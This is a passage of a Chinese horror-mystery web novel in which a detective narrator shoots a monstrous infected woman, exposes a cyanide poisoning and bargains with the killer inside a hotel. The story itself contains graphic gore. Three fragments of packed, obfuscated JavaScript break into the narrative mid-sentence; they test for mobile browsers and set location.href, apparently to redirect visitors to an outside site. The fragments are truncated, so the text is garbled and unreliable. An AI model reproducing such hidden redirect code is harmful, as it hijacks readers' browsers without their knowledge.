而莱特早已缩到了沃克身后,面如死灰,两条腿早就瘫软得跟面条有得一拼了。我满怀恶意地在心里祈祷他一定要被吓得大小便失禁,最好尿得裤子都湿淋淋的,散发出令人作呕的骚气,就和他这个人一样,恶心至极。 他抖若筛糠,朝伊丽莎白喊道:“我根本不叫奥利弗,你找错人了!” “你当然不可能叫奥利弗。” 空气仿佛凝滞了一瞬。 环顾四周,大家都一脸错愕,扫向声源—— 出乎意料地,接话的人竟是他身前的沃克。 说实话,这位沃克·柯林斯,我还真挺佩服他的,在这种情境下仍然不见波澜,即使是伪装出来的,可见心理素质过硬。 他若无其事地对上伊丽莎白双眼,以一贯的平静坦然,说:“因为奥利弗是我——” 电光火石间,我猛然忆起,第一次见伊丽莎白时,她介绍自己来G市旅游的原因。 “的父亲。” 沃克终于揭晓了谜底。 莱特望着他,怔怔地,难以置信地。 原来沃克就是伊丽莎白那个不知所终的儿子。 然而陷入癫狂的伊丽莎白早就听不见他们在说什么了。她全然沉浸在自己的世界里,腥臭的涎液从微张的嘴里溢出,自嘴角淌下,透明的,一滴滴,一片逐渐扩大的湿痕出现在地毯上,却始终无法冲淡浓重的血迹。 “奥利弗,我想你。但我……更恨你!” 说时迟那时快,眼轮匝肌一缩,我敏锐地捕捉到伊丽莎白庞大的身躯一动,当即扣动扳机—— 太快了! 她像疯狗一样扑出去,恶狠狠咬住迎面甩来的那东西,恐怖的咬合力使她啃西瓜那样“咔嚓”一口啃掉了猎物的半颗头颅,生生用一口假牙将其一分为二。 一切只发生在瞬息之间。 我眼睁睁瞧见她的右胸口上分明有一颗弹孔,谁知她一转身—— 背后还有一颗弹孔! 也就是说,射进去的子弹竟然径直贯穿她的身体而过! 怎么会这样?! 我简直不敢相信自己的眼睛。 贝雷塔只是一把小手枪,根本不可能有如此强大的穿透力!理论上来说,子弹是一定会留在人体内的! 除非……她只剩一层皮,里面完全蛀空了。 "Da...ddy..." 被她咬在嘴里那东西嘶哑地叫道。 我循声望去,只见大股大股浓稠的鲜血,滴滴答答,混杂着些粉粉白白的浆液,顷刻间便弄脏了地毯。 自下往上,泉眼正是莱特大开的脑洞,已经被系统自动打上了一层厚厚的马赛克,我能看清的唯有剧烈痉挛着的身体。 正因如此,我无论如何穷尽自己的想象力,都想象不出场面究竟有多么血腥,只能看见他还算完整的下半张脸,大张着嘴—— 虽然声带依旧完好,却再也无法叫喊出声了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609689|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这算什么? 拿人挡刀者,人恒拿之挡刀吗? 而亲手造就了这一切的沃克,只是借着用莱特的生命争取来的这一空当,贴着墙根,绕开伊丽莎白,疾步走到我这一侧,厉声道:“夏,还等什么,对准她的脑袋射击!” 我忍不住叫道:“那是你的母——” “她不是!” 沃克粗暴地打断我。他恨恨道:“她早就成怪物了!我不信你看不出来!” 呼噜呼噜…… 伊丽莎白早已将咬在嘴里的半颗头颅嚼吧嚼吧,喉咙一滚,吞得一干二净,又抱着莱特的尸体,把他剩下的半边脑壳当作容器,仿佛脑浆是什么美味的果冻或面条,唏哩呼噜吃得起劲。 她吃得倒是香,我却快吐出来了。 而且在这股几欲呕吐的冲动下,胃酸翻涌得愈发厉害,要命的饥饿简直恨不得把自己也给腐蚀个精光。上面想吐,下面想吃,大脑难得地跟胃打起架,仿佛人性和兽性争斗不休。 一时间冰火两重天,我冷汗涔涔,眼前阵阵发虚,连站都快站不住,更别说握住枪了。 她进食速度极快,眨眼间便丢开莱特,满意地一抹嘴。随后眼珠子一转,又精确地瞄准了沃克,脸上的表情竟然温柔起来,“维德……” 酒足饭饱,她的思维模式居然趋近于人类了。 “开枪!”沃克忍无可忍喊道。 砰! 扳机扣下,空气穿破,时间恍若在这一刻无限放慢—— 我为她奏出了此生最后一个休止符。 近两米高的身躯轰然倒下,砸在地毯上,发出闷闷的响声,连地毯里深积着的陈年老灰也扬起薄薄一层。 日薄西山,残阳似血。光柱里,万千尘粒默默不语,只静静起舞。 伊丽莎白的脸正好倒在那片余晖里,双目圆睁,不复老年人特有的浑浊泛黄,眼白干净得发蓝。 原本温暖明亮的琥珀色瞳孔里,数点瞳光米粒般破碎,悬浮于根根分明的条状脉络之上。树根似的脉络自中心的黑洞延伸出去,如一棵古树最后的叹息。 她闭不上的眼睛,就像永不落下的太阳。 很难想象,原先那么干瘪瘦弱的一个小老太太,彻底变成伪人的短短几分钟里,却爆发出了如此非人的力量。 这样的经历,即使在她年轻时,恐怕也很难体验吧。 我把枪贴身放好,扑过去查看莫莉的情况。 她鼻息微弱,脖子上的伤口已经被柳白巳用撕下来的衣角紧急止血过,但也仅仅只是草草包扎起来而已,我们根本无法给她更好的救治条件。 我不敢摇晃她,只能在她耳边喊:“莫莉,莫莉!” 她毫无反应,身体因为失血过多而渐渐发冷。 房间里有医药箱,当务之急是给她保温。我强拆了几把椅子,又扯了桌布,尽可能迅速地制作出一副简易担架,然后从莫莉裤腰下的小小口袋中取出早已被挤出一大截的房卡,指挥柳白巳和沃克分别托住她的躯干与下肢,我自己则小心翼翼固定住她的头颅,使她的头和躯干始终处于同一直线同一水平面上,三个人合力将她抬上担架,再送回406房里去。 绝不能放跑他!这一过程中我始终用余光监视着沃克的动向。 起码他现在看起来挺老实的,叫他干什么也都听话地干了。 简单消毒后,给莫莉用纱布重新包扎好伤口,又为她仔仔细细掖好棉被后,我一出内间,便瞧见柳白巳和沃克分别坐在两把单人沙发上。 他们两人都跷着二郎腿,且不约而同地用靠近对方的那条腿压在另一条腿之上(这是很典型的防御性戒备姿势),就这么静默地坐着,没有任何言语或是眼神上的交流,各自都是一副心事重重的样子,也不知道在打什么算盘。 沃克望向我,张了张嘴,正要说话,却被我打了个手势制止住—— “莱特是你杀的,对吧?” 30. 合作与否(1) 我一向喜欢先发制人。 柳白巳问:“小夏,莱特不是伊丽莎白咬死的吗?刚才……” 我知道他想说,莱特的死因不都是大家有目共睹的吗?毕竟他死相那么凄惨,眼下我却突然跳出来指认杀死他的另有其人,未免太过荒谬。 所以我说:“且不说法医学中就有‘联合死因’一说,就算刚才斯科特女士攻击的是另外一个人,李先生也难逃一死,对吧?柯林斯先生,都到这个时候了,我希望大家都能开诚布公。” 沃克闻言,看向我,讶异地扬起眉毛,腮颊肌肉抽动着,惊愕之情溢于言表—— 就在那一刻,我知道自己猜对了。 “你是怎么知道的?” “苦杏仁味。” 虽然眼下不是时候,但我一直很享受人们为我的推理由衷地感到惊讶时,脸上露出的各色表情。 “氰|化物被你下在莱特喝下的那瓶矿泉水里,水解出了氢氰酸。虽然世界上大部分人没有氰|化物气味受体,无法闻出这股苦杏仁味,但很不巧,我恰恰就是那百分之十五中的一员,嗅觉系统中拥有能识别氢氰酸气味的蛋白质。” 说着,我指了指自己的鼻子。 而且证据也不止这一条:刚才莱特大张着嘴时,我清清楚楚看见他的口腔黏膜呈樱桃红色,这正是氰|化物中毒的现象之一。 也就是说,即使不被伊丽莎白咬那一口,他也注定无法从死神的镰刀下逃脱。 真让人唏嘘啊,明明上一秒还在跟我吵架来着,转眼间,竟连头骨渣子都不剩了。 “好吧,是我运气太好,正巧碰上百分之十五分之一。” 沃克只用了一句话,便将我的思绪拉了回来。 他耸耸肩——真凶身份被揭晓,却好似全然不曾让他感到紧张,“但是你何必这样假惺惺的呢?我完成了你安排给我的任务,充分地向你展示了我的诚意。都到这种地步了,你还要装作自己手上没有沾染他人的鲜血吗?” “等一下,你什么意思?” 我越听越糊涂了,眉心也越皱越深,下意识扫了柳白巳一眼,瞧见他面色如常,心中一定—— 不对啊,我干嘛要管他会作何反应? “我给你安排过什么任务?我什么时候要你向我展示诚意了?” 而且这一展示诚意的方式,竟然是杀人? 杀的还是莱特? 为什么? 始料未及,“莱特”两个字一蹦入脑中,后面那句“为什么”就没有再出场的必要了—— 我已经明白答案了,只是这答案,却使我不由得打了个寒噤。 沃克好整以暇地望着我——现在,审视的权力,已被他褫夺。 我盯着他,声音发紧:“你是什么时候知道的?” 虽然我没有完全挑明,但我相信他一定知道我在说什么—— 沃克究竟是什么时候,知道我就是他的合法伴侣派来搜集婚外情证据的私家侦探的? 这件令我从骨头缝中都咝咝泛着凉气的要紧事,目前反倒成了次要的了。 最重要的是,在他眼里,我和戴利是利益共同体,他认为戴利当然会憎恨莱特,所以沃克亲手杀了莱特,以此来向我,也就是戴利的代理人,展示他所谓的“诚意”。 就像在封建社会,即使面对的只是一件皇帝的短外衣(即所谓的黄马褂),凡人也必须虔诚地顶礼膜拜。 我猜一般人都无法想出这种用稀奇古怪来形容都犹嫌不足的“投诚”方式。看来沃克的危险程度,远远超乎我的想象。 他看起来心情很好,回答我:“我们第一次见面的时候。” 随后又补充道:“准确来说,除了李,所有人中我最怀疑你。在走廊上,我甚至想要当场杀掉你——” 嗵一声巨响,我转头一看,原来是柳白巳霍地放下了二郎腿,马丁靴的胶底重重砸在地毯上。 在此之前他始终一言不发地坐在一边,存在感降得极低。要不是这一声,我都没发现他在光明正大地偷听。 我也瞬间出了一身冷汗。 那时的我,没有记忆,没有异能,更没有贝雷塔,甚至还在为缺少换洗衣物这种鸡毛蒜皮的小事而发愁。沃克这么一个身强力壮的成年男性如果真的想杀我,不算难事,只有尸体怎么处理比较让人头疼就是了。 毕竟经常杀人的朋友都知道,杀人容易抛尸难。 “但当你说了一句话之后,我对你的怀疑程度急转直下。” 我顿时十分困惑——怀疑既然减轻了,怎么能翻译成“急转直下”这种贬义词呢? 但要不了一分钟,我便立刻推翻了这一想法:原本认定的目标可疑程度骤降,这跟煮熟的鸭子快到嘴边飞了也没什么区别,对沃克来说当然是坏事。 没毛病,是我错怪中文补丁了。 “哦?我倒想听听,是哪一句话,让我逃过一劫呢?” 我也从容不迫地双臂交叠在胸前,看着他。 我要夺回主动权。任何人都不可能使我居于下风。 “说起来,倒是一处极其微小的细节:你祝我和我的妻子永远甜蜜幸福。现在想来,也的确是我疏忽,没有考虑过,戴利或许会采用除面谈以外的其它方式,向你下达委托。” 原来如此。 我突然觉得很讽刺。 光指责别人将侦探默认为男性,我自己又何尝不是把伴侣默认为女性呢? “那你的氰|化物是从哪儿来的?” 沃克一扬眉,很惊讶的样子,“不是你给我的?” “你胡说八道什么,我什么时候给过你这东西?我们除了走廊上那一次,根本就没有再单独会面过。” 柳白巳听着听着,渐渐坐不住了:“你们什么时候在走廊上单独碰面过?” “准确来说,是我昨天一回到房间,就见起居室的茶几上,放着一只小玻璃瓶,里面的氰|化物剂量虽然微小,却正好够毒杀一个人。” 我们现在谁都没空理他。 “拿李的性命做交换,这难道不是和你结盟的条件吗?我知道戴利肯定恨毒了他。况且,我们中除了你,还会有谁有如此神通广大的本事,可以随意进出别人的房间?” 沃克说着,从口袋中掏出一颗小石子状的东西,我定睛一瞧,正是我埋在他门前地毯里的那枚窃听器,“否则,这小东西,你是如何安插进我房间里的?” 我哼笑一声:“怪不得,难道你以为我有办法能进你房间?那是因为——” 心念电转,我倏地一扭头,瞪向柳白巳。 能随意进出别人房间的,这儿不是正坐着一个吗? “啊,被你发现了。” 柳白巳接收到我的眼神,却丝毫不见慌张,甚至头枕双臂,大大方方朝我露出一个堪称豁亮的笑容,先前的阴冷一扫而空,“没办法,我也是要完成任务的嘛,所以干脆就让他们狗咬狗好了。” 这几句话特意用了中文,沃克充满诧异的眼神在我俩之间来来回回,应该是没听明白他在说什么。 是了,柳白巳自己也有任务——原来第三条里提到的“下地狱”,是要他杀了莱特吗? 凭什么啊,一个巴掌拍不响,只处理掉小三有啥用?我也不是没了解过BDSM,仅凭莱特一个人哪能成事?沃克要是不乐意,莱特还能强迫他不成? 柳白巳左耳垂上那颗钻石随着他的动作折射出粼粼银波,于金发间若隐若现——他究竟是什么时候从我耳朵上取下来的?若不是莫莉提醒,恐怕我到现在都毫无察觉。 对了,莫莉…… 我心下一紧,转身回到卧室,试了试她的鼻息,虽然还是很微弱,但聊胜于无。 柳白巳他,到底还藏着多少秘密? 绝不能再束手就擒了。我复又走出卧室,朝着沃克直截了当问:“那你费尽心机向我‘展露诚意’,所求的究竟是什么?” “很简单,合作。我知道以眼下的形势,用金钱收买你没有用,所以我们谈合作如何?” 沃克十分具有绅士风度地一笑,“我们一起逃出去,我不会吝啬于发挥自己的真才实学。作为交换,你不能向戴利泄露半个字关于你在AnyoneHotel的见闻。” “为什么?” “因为我爱戴利,不想让他知道我和李之间的事。他是个眼里揉不得一粒沙的人,如果知道了,一定会跟我翻脸的。反正李已经死了,就让过去那些一笔勾销吧,你们中国不是有句古话叫‘宁拆十座庙,不毁一桩婚’吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609690|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 我登时哑口无言。 万万想不到竟会是这个答案。 他脸皮也真够厚的,人至贱则无敌啊。 “你爱戴利?”我像没听清似的重复了一遍。 仿佛听见了一个弥天笑话,我都快憋不住了。 一声不吭地忍了好半天,我才听见自己的嗓音仍是有些不稳,“你如果爱他,为什么还会搞婚外情?” 耳尖一动,一转头,没见着脸,只看到颤抖不断的双肩——我明明看到柳白巳在笑,根本没停过! “呵……实话告诉你也无妨。人非圣贤,孰能无过?我只是想要维护自己在他心中的完美形象而已。即使有些小小癖好,相信也不足为道,戴利一定能理解我的。” 这中文补丁肚子里还挺有墨水,什么成语俗语都出来了。 “即使是你们两位,恐怕也不可能向对方完全敞开自己吧?” 我微扬的嘴角瞬间沉下——这话就戳人肺管子了。 沃克这会子倒是坦然自若,视我和柳白巳各异的反应为无物,“我爱他,珍惜他,所以不想让他发现这些,于是找了同为圈内人的莱特·李。” 是“不足为道”还是“不足为外人道”? 管不住下半身就管不住下半身喽,还扯这么多冠冕堂皇的理由,这话他自己听着不想笑吗? 看沃克·柯林斯这副道貌岸然的作派,我简直不知该说些什么好了。 身上这件西装,只是他套在外面的人皮罢了。 “莱特的亲姐姐是莫莉,这件事你清楚吗?莫莉对我说,你们曾经是以联姻为名的合作关系。” “她连这个也跟你说过了?看来是真的喜欢你。” 沃克面露讶然,“原先不清楚,现在清楚了。我和莱特只不过是逢场作戏,当然没兴趣也不可能去主动了解他的家庭关系。” 来了来了,经典“逢场作戏”,我看现在才是一场好戏。 “那你母亲,伊丽莎白,和你父亲是怎么回事?为什么她表现得对你一无所知?” 连与自己的亲生儿子面对面都认不出来,在谈到儿子的工作地点的时候更是用上了“好像”——我这种问法已经够委婉了。 不,其实也不是完全认不出来——既然伊丽莎白把沃克误认成她丈夫来攻击,那么沃克和他父亲奥利弗起码在长相上还是有相似之处的。 “你应该已经猜到了,现在来问我,也只是为了印证你的猜想,对吧?” 沃克少见地叹了口气,目光转冷,表情渐渐变得幽怨,“我的母亲常年遭受父亲的家暴,而我也并不是没有反抗过,无论是报警、找相关组织干涉、拼命健身回击我父亲,还是劝母亲离婚、带她逃跑等等,全都失败了。 “最终,我决定离开那个泥淖,彻底与他们断绝来往。 “这也是我几十年后首次与她重逢,我没想到会在这里遇见她,毕竟我也的确是来出差的,在工作上我兢兢业业,从没出过错。老实说,她变得太苍老了,我几乎认不出她来;认出来后,又担心她也认出我。不过我倒从没想过要害她就是了,毕竟我们现在已经完完全全是陌路人,保持现状挺好的。 “再说了,在她眼里,我恐怕还没有她那群学生重要,我又何苦自讨没趣?你知道吗,她就算被那个男人打得眼睛都肿了,也坚持去学校上课,敷了极厚的一层粉就出门了,我怎么拦也拦不住。看着她一瘸一拐的背影,我一下子觉得自己这条生命就是个笑话,同时又非常痛恨自己,为什么要被他们生出来? “为什么我偏偏是被他们生出来?为什么偏偏是我被他们生出来? “当年我自认为对她仁至义尽,她不愿意离开泥潭,可我还要过正常的生活,她总不能继续拉着我共沉沦,对吧?” 沃克几乎是浑不在意地说着这些话,全然一副“她要这样我也没办法”的样子。 果然如此,看来基因的影响力远比人类想象中的要大。 我眼前蓦地闪过莱特胸口那两条又长又粗的红痕,顿时醒悟过来:这两代人之间,的确牵连着难以剪断的纽带—— 恐怕沃克也不过是他父亲生命的延续。 出走二十多年,他却从未真正摆脱过那个家,且又活成了他最痛恨的父母的样子。 31. 合作与否(2) 但我不明白,伊丽莎白为何不离开她那凶残成性的丈夫?她已经是大学教授了,有足够的财富和社会地位供她打官司,舆论也会站在她这一边的。 然而,一回忆起伊丽莎白说“我的丈夫上周刚刚去世”时的神情,再结合伊丽莎白的感染速度来看,我忽然意识到,这其中的内情恐怕没那么简单。 她已经忍受了多年的家暴,以至忍无可忍的地步,所以她也是最无法抵抗杀戮诱惑的人,感染速度亦是一日千里。 近年来,受害者为女性的凶杀案中,近六成凶手为受害者的家人,其中是丈夫或男友的更是超出半数;而杀夫案仅占杀妻案的九分之一。这么一看,我真不知道结婚有啥盼头,觉得自己生活太如意不如去养头大耳朵怪叫驴,整天werwerwer地叫,保准每天都有吃不完的苦头。 斯人已逝,再去思考她是怎么想的,已经没有意义了。 转眼间,六个人中死的死、伤的伤,可活动人数竟然直接锐减了一半,这是我此前无论如何也不曾预料到的。 但我还是很坦白地告诉沃克:“我不信任你,毕竟你真能对莱特动手,你们怎么说也有过露水情缘,而我们只是萍水相逢的陌生人,我怎么知道你不会向我下毒手?” 真是最毒男人心啊,与虎谋皮者,终将为虎所食,就算沃克的皮囊颇具迷惑性,这道理我还是很清楚的。 “没关系,我充分理解你。” 他好似并未受到打击,轻松地耸耸肩,“虽然这件事或许是我理解有误,但也一样能证明我的诚心,对吧?我可以发誓,绝对不会对你有任何不利,至少在成功逃离酒店之前不会——杀了你,等于少了一份助力,这对我而言有什么好处?” 发誓?呵,发誓有个屁用?发誓要是有用的话,雷公电母天天睡大觉好了。 “而且你们二对一。”沃克说到此处,终于给了柳白巳一个正眼,此前他可是瞥都不带瞥他的,“我没有胜算。 “再者,识时务者为俊杰,知其不可而为之也不是我的作风。 “我有关于楼下情况的详细信息,跟我合作,我们一定能逃出去。希望你能再考虑一个晚上,明天给我答复也不迟。就是这样,我先回房了。” 不知怎的,他突然加快语速,连炮珠似的一口气说完,起身就要走,却被我叫住:“等等,还有几件事要做,你也一起来吧。” 这种时候最忌讳不合群,沃克哪有不答应的道理。 第一件事是返回餐厅,检查莱特和伊丽莎白的尸体。 “我们才走开一会儿,他怎么就变成这样了?” 柳白巳在莱特的尸体旁边半跪下来,一手摊开,就像景区讲解员介绍景点,示意我去看尸身上的樱桃红色尸斑。 莱特头上还打着马赛克,所以此刻我并不特别害怕,也半跪着,戴上手套,一边翻开衣物检查皮肤表层,一边解释道:“这是由于鲜红色的氧合血红蛋白浓度增加所导致的。” “人体吸入氧气后,红细胞充当了快递员的作用,负责将氧气输送到全身组织。 “而存在于红细胞内的血红蛋白,就是它搬运货物的‘手’,与氧分子结合后的血红蛋白即为‘氧合血红蛋白’。 “但氰|化物间接阻碍了氧合血红蛋白释放氧气,货物无法脱手,氧合血红蛋白越来越多,所以最终在体表呈现樱桃红色。” 柳白巳眼睛亮晶晶的,听得很专注,那两颗慑人的菱红瞳孔竟都显得温润如玉了。虽然我不知道自己讲得是否清楚易懂,但他的反应的确让我很有成就感。 掀开莱特胸前的衣服,五六条棕红色伤痕骤然跃入眼帘,与周围皮肤的颜色和纹理都有显著不同,稍微有些紧绷;用手触摸,质地也比较硬,不复健康皮肤的柔软有弹性,很明显是陈年旧伤了。 我做贼似的悄悄瞥了眼沃克,见他站在稍远一些的地方,正盯着某处,一副陷入沉思中的样子,赶快凑过去,抓紧机会用中文问柳白巳,声音压得极低:“沃克有没有跟W玩过S那什么M?” 柳白巳本来也在学着我的样子,用戴着手套的手这里戳戳、那里摸摸,闻言动作一滞,默默抬眼,腮帮子微鼓起来,一脸幽怨道:“我说过了,‘W’是我在载入副本前的准备阶段,发邮件的时候随便取的!” “好好好,是戴利,不是W。”我敷衍点头。 他见我改口,总算满意,又继续道:“我扮演的这个角色真名叫戴利·怀斯曼,就我所继承的记忆来看,沃克不仅没有和他玩过S那什么M,而且待他向来温柔体贴,俨然二十四孝好老攻。但戴利似乎有些神经质,总是疑神疑鬼,觉得沃克一定有事情瞒着他,因为沃克面对他时总是表现出一副欲言又止的模样。” 那估计是在踌躇着要不要实言相告,自己有些“不足为道”的“小小癖好”吧? 不得不说,戴利的嗅觉还是挺灵敏的,一查就查到了沃克有出轨的迹象,于是找人搜集证据,这一找,就找到了我所扮演的私家侦探。 派了私家侦探还不放心,戴利还要亲自前来,看来是真的很没安全感了。 由于伊丽莎白是女性,所以检查尸体的时候,两位男士需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609691|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要暂时回避,全程由我一个人完成。 虽然本来他俩就屁用没有——非要说的话,倒是一个赛一个的赏心悦目,勉强起到两只花瓶的作用吧。 伊丽莎白身上的确有很多伤疤,比如大腿上一大片形状不规则的钝器击打伤、小臂上褐色发硬的烧伤,以及颈部的环状勒伤等等,应该都有一定年头了,即使她变成这副非人模样,伤痕也丝毫不见淡化。 真想象不到,从头发丝武装到后脚跟的得体装束下,竟隐藏着这么多触目惊心的伤口。 会不会,也正是这份体面,让她无法及时止损呢? 我喉头酸胀得厉害,实在无法再细看下去,只是草草扫视一番,确认沃克所言非虚,就匆匆扯过从洗衣房顺来的白色床单,轻轻盖在她和莱特身上,心里默念几遍“安息”。 我并不会念什么超度人的祷告词,只是想通过这种方式,让心里好受些罢了。 第二件事则是去莱特和伊丽莎白的房间搜集物资。 反正人都死了,现在再来说什么不能动人家的东西也显得虚伪,干脆把物资分一分,也算是把希望留给活着的人了。 伊丽莎白的房间离餐厅最近,所以我们先去了402房。 一进屋,却没有想象中的满室狼藉,一如变异前的经典伊丽莎白作风,收拾得很整洁,杂物也不多。 “原来那些水是被她拿走了。”我听见沃克轻声道。 于是我走到他身侧,果然瞧见卧室一角摆放着大量矿泉水瓶,然而却空空如也,喝得一滴也不剩。 只有五瓶矿泉水硕果仅存,排成一列摆在桌上。我将它们依次拿起,握在掌心里挤压瓶身—— 很好,没有水渗出,瓶身也没有变形,看样子没有开过封,可以放心喝。 “她是怎么做到在短短两天之内喝掉几十瓶水的?” 柳白巳霍地从我肩上探出头,微凉的柔软发丝倾泻而下,发尾垂到我胸口,蹭得我脸颊痒痒的,“不怕水中毒吗?” 我回忆起第二天早上伊丽莎白那副饿死鬼投胎的模样,真是恨不得把餐桌也给整条吞进去,便猜测道:“也许被感染并开始异化的人需要大量进食,包括水分。” “也有可能是没吃对食物,所以越吃越饥饿、越喝越口渴。”柳白巳提醒我,“就像你吃苹果一样。” 一说起苹果,我的胃酸就自动开始分泌,简直像条巴甫洛夫的狗,饿得不行。我瞪他一眼,他嘟嘴,回报以无辜的一笑。 沃克插嘴道:“那么,对于这些变异的怪物,什么才是正确的食物呢?” 32. 昭然若揭(1) 趟着半凝固的血液铺就的红地毯,脚下咕叽作响,似乎要被血淖扯住鞋底。 先蹑手蹑脚绕开血泊,路过那具几乎被掏空的成年男性尸体——他在断气的前一秒,甚至还奋力挣扎着,想要逃进眼前的乌托邦。 五楼的大门尚未出现在眼前,鼻端已涌入一丝铁锈味,越往上走,就越呛人。 刺鼻浓郁的血腥味经久不散,猛然在颅内拉响警报般,激烈拨动起名为第六感的琴弦。 轻车熟路从休息区的尸体中扒出房卡,刚刷卡打开504的门,却先从缝隙中扑出来一股阴风——蓦地察觉到不对,正要缩手,门却被死死吸住,一道无法抗衡的力量猛不丁甩开厚重的门板。 油腻打结的一绺黑发衬在发黄的白色布料上,往上是猿猴般发紫的面庞,肿胀通亮。她一咧嘴,露出一口稀稀拉拉的牙齿—— 是那个小女孩。 她嘴一张,说:“‘往昔所造诸恶业,皆由无始贪嗔痴’。你肚子饿了吗?吃吧、吃吧,尽情吃吧,这儿遍地是食物,永不挨饿的天堂……” 她极大的牙缝间残留着的碎肉和血渍明晃晃,发酵的酸臭味迎面扑来,仿佛馊了的隔夜饭。然而这次,又多了什么黄胶似的柔软物体,弹性十足地挂在牙龈上,浸着涎液随波逐流。 一道闪电倏地劈过脑后——刹那间便明白了一切,胃里顿时一阵翻江倒海,满肚子酸水争先恐后往外涌。 那根本就是人类的脂肪! 转身就要逃,却被一股极其浓烈的腥臭味扑了个正着—— 黑洞般的一张嘴,大剌剌包过来,深红的内里像滚筒洗衣机似的蠕动着,细细密密的锯齿排列其中,仿佛一口就能将头颅绞进深处…… 那哪里是什么嘴,分明是怪物小腹上的血洞! “小夏?小夏!” “啊!” 如溺水之人猛然破出水面,我大口大口喘着气,眼前仍是一片模糊。 许久,视野中才渐渐清晰起来。 首先映入眼帘的是柳白巳那张放大的脸——“你怎么了?叫你也没反应。” 他矮下腰、低着头,攒眉蹙额,柔顺的金发垂下来笼住我,吐息清凉,忧心之色溢于言表。 近得连脸上的毛孔——不对,没有毛孔。 近得连脸上细小的绒毛都能看得一清二楚。 “没事。”我转过脸,避开他的视线。 都什么时候了还控制不住欣赏美色,这色心真是不合时宜。 什么才是怪物真正的食物,答案已经昭然若揭了。 我说:“怪物可能要靠吞吃活人的血肉,才能消除饥饿感、维持近似于正常人的理智。否则,就会像伊丽莎白那样,在人与怪物的边界徘徊。” 也即在做过噩梦并被感染后,病毒宿主就会开始变异。但没吃到人肉、喝到人血的,就算已经走完感染流程,充其量也只能算个半成品。 “更严重者,很可能就和五楼那具女尸一样,理智全无,彻底沦为怪物。黛西,你还记得在五楼袭击我的那个小女孩吗?” “当然记得——怎么突然问这个?她还伤到你哪儿了吗?” 柳白巳一听我提她,唇角弧度顷刻间消失,眉毛都沉沉耷拉着。我怀疑要不是我拦着,他当场就能用那条不知打哪儿来的皮绳把她活活勒死。 “不,我不是想说这个。”我急忙解释,“她能正常与我对话,表现得与常人无异,很可能是因为……” “因为?” “因为她是先在她母亲肚子里,把血肉吃空了,这才破腹而出的。” 话音刚落,就见柳白巳和沃克面色齐齐一变,一时间都没作声,只是互相对视一眼,又望向我—— 我知道这个答案听起来一定匪夷所思,但我只能想到这种可能性。 我说:“你们都看到了,从正常人彻底异化为怪物,并非一蹴而就,而是需要一段时间。而在完完全全沦为怪物的一瞬间,感染者的身体就会‘长大’——既然成年人的身体还能长到两米多高,那胚胎……” 说到这儿,我有些犯恶心,但还是忍住了,吞了吞口水,继续说下去:“胚胎当然也有可能长成正常孩童的模样。” 对于我来说,烤牛肉才能填饱肚子,苹果屁用没有;对于伊丽莎白和那个小鬼头也是一样,同类的血肉才能填饱肚子、提供“营养”,其它食物虽然也能吃,但显然毫无助益。 也难怪一路上看到的尸体全是残缺不全的,不是少了条胳膊,就是腿不翼而飞——敢情都是些残羹冷炙啊? 这一猜想既恶心又恐怖,但在场之人都是亲眼目睹过伊丽莎白是如何一口一口嚼碎莱特的脑壳、吸食他的脑浆的,且伊丽莎白在这之后,也的确表现出恢复清醒的迹象,故而他俩就算另有想法,一时间也无法提出其它的推论来反驳。 我们又去了莱特的房间,一如既往的凌乱:七倒八歪的酒瓶,换下的脏衣服、用途不明的塑料袋、开封的零食包装,连带各色薯片饼干碎屑随意地撒在沙发上; 卧室更是不堪入目,床单甚至没有换过(那他这几天是怎么睡觉的?难不成学小龙女睡在绳子上?),干涸发硬的痕迹仍然显眼,床头柜上遗留的方形包装也没扔,整得跟个大毒窝似的。 "OH,GOD!(噢,上帝!)" 虽然也是为了装作第一次踏入此地,但我还是没忍住发出一声感慨:“你是怎么能够忍住……和他交往的?” 真乃勇士也。 沃克的表情也是五颜六色,精彩纷呈。他嘴唇开开合合,像是实在不知道说些什么好——他一向是个体面人,更何况另一当事人已经找不着头脑了(对不起,又说了个地狱笑话),死者为大,背地里诋毁人家也不好。 半晌他才憋出一句:“我找fuckbuddy时不会刻意去了解对方的生活习惯。” 好吧。我点点头表示理解。 “那你一般都会了解对方哪些方面?”柳白巳紧接着问。 这家伙从刚才开始就紧紧捏着鼻子、闭着嘴,面色发紫,一副快被熏得晕过去的样子。才破天荒蹦出一句,说完又立马把小嘴巴死死闭起来了。 虽然的确有股甜腻得发慌的难闻味儿,有点像奶油蛋糕,但应该还不至于这么如临大敌吧? “当然应该先了解型号、癖好等关键,毕竟如果那方面不契合……” “没问你。”柳白巳当即很没礼貌地打断他。 一室 